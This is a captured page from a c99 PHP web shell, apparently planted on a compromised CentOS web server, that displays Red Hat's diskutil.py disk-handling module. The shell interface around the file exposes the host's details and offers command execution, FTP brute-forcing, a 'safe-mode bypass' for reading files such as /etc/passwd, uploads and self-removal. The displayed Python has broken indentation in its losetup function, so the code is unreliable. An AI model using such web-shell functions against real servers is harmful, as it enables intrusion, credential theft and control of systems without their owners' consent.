!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/lib/python2.4/site-packages/rhpl/   drwxr-xr-x
Free 53.79 GB of 127.8 GB (42.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     diskutil.py (2.25 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#
# diskutil.py - handling of various disk related functions
#
# Copyright 2002 Red Hat, Inc.
#
# This software may be freely redistributed under the terms of the GNU
# library public license.
#
# You should have received a copy of the GNU Library Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
#


import os,sys
import _diskutil

def mount(device, location, fstype = "ext2", readOnly = 0):
    location = os.path.normpath(location)
    rc = _diskutil.mount(fstype, device, location, readOnly)

    try:
        if readOnly == 0:
            ro = "ro"
        else:
            ro = "rw"
        newline = "%s %s %s %s 0 0\n" %(device, location, fstype, ro)

        f = open('/etc/mtab', 'a')
        f.write(newline)
        f.close()
    except:
        pass
    
    return rc

def umount(what, removeDir = 0):
    what = os.path.normpath(what)

    if not os.path.isdir(what):
        raise ValueError, "diskutil.umount() can only unmount by mount point"

    rc = _diskutil.umount(what)

    try:
        f = open('/etc/mtab', 'r')
        lines = f.readlines()
        f.close()

        f = open('/etc/mtab', 'w')
        for line in lines:
            (dev, mntpt, foo) = line.split(' ', 2)
            if mntpt == what:
                continue
            f.write(line)
        f.close()
    except:
        pass

    # FIXME: probably racy
    if removeDir and os.path.isdir(what):
        os.rmdir(what)

    return rc

def ejectCdrom(device = "/dev/cdrom"):
    fd = os.open(device, os.O_RDONLY|os.O_NONBLOCK)

    # best effort
    try:
        _diskutil.ejectcdrom(fd)
    except SystemError:
        pass

    os.close(fd)

def losetup(device, file, readOnly = 0):
    if readOnly:
    mode = os.O_RDONLY
    else:
    mode = os.O_RDWR
    targ = os.open(file, mode)
    loop = os.open(device, mode)
    try:
        _diskutil.losetup(loop, targ, file)
    finally:
        os.close(loop)
        os.close(targ)

def unlosetup(device):
    loop = os.open(device, os.O_RDONLY)
    try:
        _diskutil.unlosetup(loop)
    finally:
        os.close(loop)

def getUnusedLoop():
    dev = _diskutil.findunusedloopdev()
    if dev is None:
        raise SystemError, "Unable to find loop device"
    return dev

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0109 ]--